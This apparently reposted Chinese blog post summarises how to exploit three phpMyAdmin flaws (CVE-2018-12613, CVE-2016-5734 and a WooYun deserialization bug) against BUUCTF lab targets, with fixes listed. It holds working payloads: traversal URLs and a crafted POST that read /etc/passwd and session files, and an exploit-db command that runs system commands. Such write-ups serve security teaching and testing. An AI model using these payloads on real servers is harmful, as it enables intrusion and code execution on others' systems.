phpMyAdmin漏洞利用总结 您所在的位置:网站首页 smartadmin漏洞 phpMyAdmin漏洞利用总结

phpMyAdmin漏洞利用总结

#phpMyAdmin漏洞利用总结| 来源: 网络整理| 查看: 265

一、简介

phpMyAdmin 是一个用PHP编写的免费软件工具,可以通过 Web对Mysql进行管理,它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等。说白了就是一个mysql管理工具。

版本对应关系

截止到2021年7月3日,最新版目前已经更新到 phpMyAdmin 5.1.1

phpMyAdmin4.9.0当前版本兼容PHP5.5至7.3和MySQL5.5及更新版本。

phpMyAdmin4.8.0,兼容PHP5.5至7.2和MySQL5.5及更新版本。

phpMyAdmin4.6.0-4.7.0,兼容PHP5.5至7.1和MySQL5.5及更新版本。

phpMyAdmin4.5.0,兼容PHP5.5到7.0和MySQL5.5。

phpMyAdmin4.4.0,兼容PHP5.3.7到7.0和MySQL5.5。

phpMyAdmin4.1.0-4.3.0,兼容PHP5.3和MySQL5.5。

phpMyAdmin4.0.0与PHP5.2和MySQL5兼容。不支持PHP5.5或更新版本。

二、漏洞利用(一)远程文件包含漏洞(CVE-2018-12613)1、影响版本

phpmyadmin 4.8.0

phpmyadmin 4.8.1

2、漏洞原理

phpmyadmin 4.8.1 版本 index.php的 50-63行代码:

$target_blacklist = array ( 'import.php', 'export.php' ); // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }

满足以下5个条件后就会include$_REQUEST['target']的内容:

$_REQUEST['target']不为空$_REQUEST['target']是字符串$_REQUEST['target']不以index开头$_REQUEST['target']不在$target_blacklist中即target 参数不是 import.php 或 export.php。Core::checkPageValidity($_REQUEST['target'])为真

找到Core::checkPageValidity方法

在libraries\classes\Core.php 中的443-476行代码:

public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }

问题出现在了 urldecode()

我们可以利用这个函数绕过白名单检测!

我们把   ?url编码为 %253f 即可绕过验证!

例如传入

?target=db_datadict.php%253f

由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true。

但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含。

3、漏洞复现

这里我们使用 buuctf靶场中real类的 [PHPMYADMIN]CVE-2018-12613 做演示。

这个漏洞要利用需要有一个比较苛刻的前提:能够访问phpmyadmin,也就是说得拿到phpmyadmin的权限才可以。(buuctf靶场的话直接登录就可以)

访问http://your-ip:8080/index.php?target=db\u sql.php%253f/../../../../../../../../../etc/passwd,结果表明存在文件包含漏洞:

我们可以执行SELECT '';(前提是已经将''写入到了数据库中), 然后检查sessionid(cookie中phpMyAdmin的值),然后包括会话文件。

phpMyAdmin=01f61e5e23d4444df4b66b027652f750;

payload:

http://node3.buuoj.cn:27574/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_01f61e5e23d4444df4b66b027652f750即可以访问到phpinfo

得到flag:flag{b4d37768-9fca-4d17-b13c-befa563a1c5c}

同理,也可以写入木马,进行连接获得shell。

4、解决方案

将phpmyadmin 更新为4.8.1以上的版本。

(二)远程代码执行漏洞(CVE-2016-5734)1、影响版本

4.0.10.16之前4.0.x版本

4.4.15.7之前4.4.x版本

4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

2、漏洞复现

同样使用buuctf靶场中real类的 [PHPMYADMIN]CVE-2016-5734 做演示

该漏洞利用需要登录,且能够写入数据。

这里,我们使用POC https://www.exploit-db.com/exploits/40185/来复现漏洞。

python 40185.py -c 'system(env);' -u root -p root -d test http://your-ip:8080/-c是待执行的PHP语句-d是已经可以写的数据库,如果没有指定表名,这个POC会创建一个名为prgpwn的表。

通过system(env)打印环境变量获得flag,同理可以修改env 为其他命令来执行。

获得flag:flag{a3ed9546-8500-462b-b2a7-0ed2d3f61da8}

(三)反序列化漏洞(WooYun-2016-199433)1、影响版本

phpmyadmin 2.x

2、漏洞复现

使用 burpsuite发送如下数据包,即可读取/etc/passwd文件

POST /scripts/setup.php HTTP/1.1 Host: node4.buuoj.cn:27850 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 82 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

参考文章https://www.cnblogs.com/leixiao-/p/10265150.html#autoid-1-0-0https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aoghttps://www.phpmyadmin.net/security/PMASA-2018-4/https://rj45mp.github.io/phpMyAdmin-WooYun-2016-199433/https://docs.ioin.in/writeup/www.mottoin.com/4cb63e7c-9151-42da-a5bd-e6e29e7ff2f8/index.html


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有